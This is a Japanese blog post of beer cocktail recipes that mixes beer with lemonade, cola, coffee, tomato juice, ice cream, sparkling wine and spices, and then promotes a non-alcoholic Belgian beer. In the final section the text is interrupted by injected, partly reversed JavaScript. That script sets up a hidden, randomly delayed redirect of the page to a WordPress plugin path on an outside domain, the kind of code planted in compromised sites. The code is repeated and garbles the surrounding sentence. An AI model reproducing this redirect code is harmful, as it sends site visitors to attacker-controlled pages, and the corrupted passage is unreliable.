ちょい足しで広がる味わい!夏場のビールをもっと美味しく楽しもう
パンデミックによる自粛生活の中、家飲みがますます注目されているこの時期、同じお酒を何杯も飲んでいるうちに、味に飽きてしまうということはないですか?
または、せっかく開けたお酒の味わいが、残念ながら口に合わなかったということもあるかもしれませんね。
そんな時に知っておくと便利なのが「ちょい足し」テクニック。
お酒にほんの少し、他の飲み物を加えるだけで、バラエティに飛んだ味わいに変身させることができます!
今回は、夏にピッタリなビールにフォーカスし、さらにビールを美味しくする様々なちょい足しレシピを紹介します。
◇アレをビールにちょい足し。味変を楽しもう!
ビールといえば、大人の飲み物の代表格。
ビールの味はホップのほろ苦さが特徴ですが、様々な飲み物をちょい足しすることで、ニュアンスの違う味わいが楽しめます。
・炭酸入りドリンクをちょい足し
ビールカクテルの定番として知られるのがパナシェ。
ビールを同量のレモネードで割った、フランス生まれの爽やかなドリンクです。南ドイツではラドラーと呼ばれます。
レモネードで割ることでビールの苦味が和らぎ、甘みと酸味がプラスされて爽やかに美味しく楽しめる飲み物に変身します。アルコール度も2.5パーセント程度になるため、お酒に弱い方も安心です。
簡単に作るなら、ビールとレモン風味のソーダを半々に混ぜ合わせて、冷したビールグラスに注げばOK 。薄くなるのを避けるため、氷は入れないのが一般的です。
ビールをジンジャーエールで割ると、こちらはシャンディ・ガフという名のカクテルになり、イギリスのパブの定番ドリンクです。
また、ビールをコーラで割ると、ディーゼルという名のカクテルになります。
ディーゼルは日本ではほとんど聞きませんが、アメリカやドイツではレストランのメニューに必ず載っている人気カクテル。
普通のビールをコーラで割るのが基本ですが、黒ビールを使っても深みのある濃厚な味わいが楽しめます。
割合はビール:コーラ=1:1が基本ですが、黒ビールを使う場合はコーラの割合を多めにすると良いでしょう。
・アイスコーヒーをちょい足し
ビールにアイスコーヒーを加えるのが、スペイン生まれのビールカクテル「カフェ・コン・セルベッサ」。
ビールとアイスコーヒーを1:1の割合で混ぜ合わせます。
美味しく作るコツは、水出しコーヒーを使うこと。
水にコーヒーを入れて、低温で時間をかけて成分を抽出する水出しコーヒーは、苦味や渋みの元になる成分が抽出されにくく、また、酸味が抑えられるため、まろやかでコーヒーが本来持つフルーティーさと甘さが感じられる味わいが特徴です。また、低温で抽出する水出しコーヒーは豆の油分が抽出されにくいため、割ったときにビールの泡が消えにくくなるのも利点です。
黒ビールを思わせる香ばしさと、軽やかな口当たりがこれからの暑い季節にピッタリの、爽快なカクテルですよ。
・オレンジジュースをちょい足し
ビールとオレンジジュースを1:1で割ると、ビター・オレンジというカクテルになります。
材料もグラスもよく冷やし、混ぜ合わせればでき上がり。薄くならないよう氷は入れません。
IPAのようなホップの含有量が多い香しいビールのほうが、オレンジのフルーティさによく合いますよ。
・トマトジュースをちょい足し
ビールに同量のトマトジュースを加えると、有名なビアカクテルのレッドアイのできあがり。
お好みで塩・胡椒やタバスコなどのスパイスを加えたり、レモン汁を加えても良いでしょう。
アルコール度が2.5パーセント程度と低く、トマトジュースの甘みでビールの苦味が抑えられて、とても口当たりが良く飲みやすいカクテルです。
レッドアイの名前の由来は、二日酔いの赤い目の色と言われています。
二日酔いの際に少量のアルコールを摂取して脳を麻痺させると苦しさが和らぐため、二日酔いの朝に飲むお酒は迎え酒と言われていますが、このレッドアイも迎え酒として愛されてきたレシピです。
ただ、本当は迎え酒は二日酔いを長引かせることになるため避けたい習慣です。
皆さんは、くれぐれも飲み過ぎには気をつけてくださいね!
・アイスをちょい足しして、ビアフロート
えっ!と驚くちょい足しレシピがビアフロート。
なんと、クリームソーダのように、ビールにアイスクリームを浮かべてしまうレシピです。
ただし、ビアフロートには、私達が普段飲んでいるスッキリ爽やか、ドライな味わいのラガービールには合いません。濃厚て→で甘みが感じられるエールビールを使用するほうが美味しく楽しめますよ。
さらに、クリスマスビールのようにシナモンのフレーバーがついていたり、ベルギーのチェリーを漬け込んだランビックのような、フルーツ風味のビールであればベストです。
また、コーヒーのような香ばしさのある黒ビールも、ビアフロートにピッタリ。
まるでカフェ・オ・レのような味わいが楽しめてビアフロートにぴったりですよ!
・黒ビールには、スパークリングワインをちょい足ししよう
良く冷やした黒ビールとスパークリングワインを1:1で割ると、ブラックベルベットという名の、ヨーロッパで古くから親しまれてきたカクテルになります。
全然違う個性をもった黒ビールとスパークリングワイン。一見合うとは思えませんが、混ぜ合わせてみると、黒ビールのコクと濃厚なほろ苦さに、スパークリングワインのすっきりキレのいい口当たりが見事に融合した美味しいドリンクになります。
きめ細やかなベルベットのようなクリーミーな泡ができることと、黒ビールの色合いから、ブラックベルベットという名前で呼ばれています。
いずれも手軽にお家にある材料ではありませんが、飲み会などで黒ビールとスパークリングワインが開いている時に、ぜひ試していただきたいお薦めのドリンクです。
・タバスコをちょい足しして、チリビール
辛いもの好きにたまらないちょい足しレシピが、ビールにタバスコを加えたチリビールです。
ビールの味わいを壊さないよう、タバスコの量は2〜3ダッシュ程度にとどめましょう。ピリリと効かせたタバスコが大人な味わいの、刺激的なちょい足しレシピです。
お好みでレモンジュースを少量加えても、爽やか感がブラスされて美味ですよ。
・山椒、しょうがをちょい足し。調味料で味変!
最近人気の麻辣ピーナッツをご存じですか?山椒と唐辛子を効かせた、あと引く味わいの中華風のピリ辛ピーナッツはビールとベストマッチ。このように、ビールと山椒はとっても好相性です。
山椒を使ったおつまみにビールを合わせるだけでなく、ビールに山椒パウダーをちょい足しするだけでもOK。
グラスに注いだビールにパラパラと山椒をトッピングするだけで、アジアンテイストの風味に変身します。
また、生姜もビールと好相性。すりおろした生姜の汁を絞ってビールにちょい足しします。
生姜の量は小さじ1/2程度。しょうがの辛味がアクセントになって、大人な味わいのビールに変身します。多すぎると辛みが強くなって味のバランスを壊すので、入れすぎに注意です。
しょうがは、チューブよりも生のしょうがをおろすのがベター。香りのフレッシュさが違います。
ジンジャーシロップがあれば、それを加えてもよいでしょう。シャンディガフ風のドリンクになりますよ!
◇ちょい足しにオススメ、ノンアルコール・ベルギービール
ここまで読んで、ビールを飲みたくなってしまった皆様へ、Mellow Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toreのオススメビールは、ネオブュル社製造のノンアルコール・ベルギービールの「ビア・デザミー0.0」
です!
ビア・デザミー0.0は、ベルギーの伝統的な上面発酵により作られたブロンドエールをベースに作られたノンアルコールビール。
一旦醸造したビールを、真空蒸留設備を使い32℃という低温で蒸留し、ビールらしいアロマを残したままアルコールを0.0%まで除きました。
なので、ノンアルコールにもかかわらず、本物のビールを思わせる味わいが特徴です。
軽めのボディとスッキリした飲み口、エールならではのフルーティーな香り、きめ細やかな泡が織りなす、上品で繊細な味わいのノンアルコール・ベルギービールです。
ちなみに、ビア・デザミー0.0にちょい足しするなら、ビアー・デザミの爽やかな口当たりとフルーティーな味わいを生かせる炭酸ドリンクやオレンジジュースがベストですよ!
この夏、皆さんも様々なビールのちょい足しを試して、バラエティに飛んだ味わいを楽しんでみてくださいね!